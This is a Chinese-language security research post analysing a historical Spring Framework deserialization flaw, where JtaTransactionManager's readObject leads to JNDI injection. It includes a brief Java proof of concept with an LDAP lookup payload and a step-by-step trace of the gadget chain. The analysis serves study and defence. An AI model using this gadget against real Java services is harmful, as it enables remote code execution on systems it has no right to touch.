Spring 反序列化 RCE 漏洞分析

  • Spring 反序列化 RCE 漏洞分析已关闭评论
  • 19 views
  • A+

说在前面

原标题叫 《Spring framework 反序列化 RCE 漏洞分析》 奈何只能输入 26 个字符以下,故叫 《Spring 反序列化 RCE 漏洞分析》
相关分析漏洞是一个几年前的漏洞,并非是最近刚出的。之所以分析这个漏洞是因为笔者在梳理 fastjson 历史补丁绕过的时候看到了这个漏洞的相关介绍,比起 fastjson 我认为这个漏洞更加简单和直接的揭示了 Java 反序列化和 JNDI 注入的联系
因此读这篇文章前可能需要有一些 Java 方面的前置知识
- Java 序列化以及反序列化
- JNDI 注入
- IDEA 调试

漏洞利用

为了帮助更好的理解这个漏洞,这里给出的 POC 很简略,省略掉了一些与漏洞不相关的启动恶意服务的代码
```java
import org.springframework.transaction.jta.JtaTransactionManager;

import java.io.*;

public class Demo01 {

public static void main(String[] args) throws IOException, ClassNotFoundException {

JtaTransactionManager myPOC = new JtaTransactionManager();

myPOC.setUserTransactionName("ldap://localhost:1389/#Calc");

ByteArrayOutputStream bos = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(bos);

oos.writeObject(myPOC);

oos.close();

System.out.println(bos);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));

ois.readObject();

}

}
```

image.png

漏洞分析

相比于 fastjson 利用链,这个利用链已经极其简单,漏洞的核心是 JtaTransactionManager类,该类实现了Java Transaction API,主要功能是处理分布式的事务管理,此类实现了 Serializable,

org.springframework.transaction.jta.JtaTransactionManager#readObject,这里调用了 initUserTransactionAndTransactionManager 进行一些处理

image.png

跟进其发现这里 this.lookupUserTransaction 里面的 this.userTransactionName 是我们可控的,它来自我们 POC 中 setUserTransactionName 的值

image.png

跟进 org.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction

image.png

上述核心语句为

return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);

先看这里

(UserTransaction)this.getJndiTemplate()

追溯 JndiTemplate 的附值,其来源于最开始的 JtaTransactionManager#readObject

image.png

因此会调用其 lookup 类,org.springframework.jndi.JndiTemplate#lookup(java.lang.String, java.lang.Class<T>),可以看出第二个参数在我们 gadget chain 里并没有什么影响

image.png

继续跟进 org.springframework.jndi.JndiTemplate#lookup(java.lang.String),这里来到了关键部分

image.png

先跟进 execute,这里会创建一个 ctx

image.png

跟进其 getContext, 其核心在 org.springframework.jndi.JndiTemplate#createInitialContext,这里初始上下文实现了Context接口,并提供了名称解析的起点

image.png

随后由于我们反序列化可控了最开始的 name 参数,导致最后这里 lookup 可控,造成了 JNDI 注入

image.png

调用栈
lookup:91, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
doInContext:154, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:178, JndiTemplate (org.springframework.jndi)
lookupUserTransaction:546, JtaTransactionManager (org.springframework.transaction.jta)
initUserTransactionAndTransactionManager:426, JtaTransactionManager (org.springframework.transaction.jta)
readObject:1193, JtaTransactionManager (org.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:18, Demo01 (com.p2hm1n.springdemo)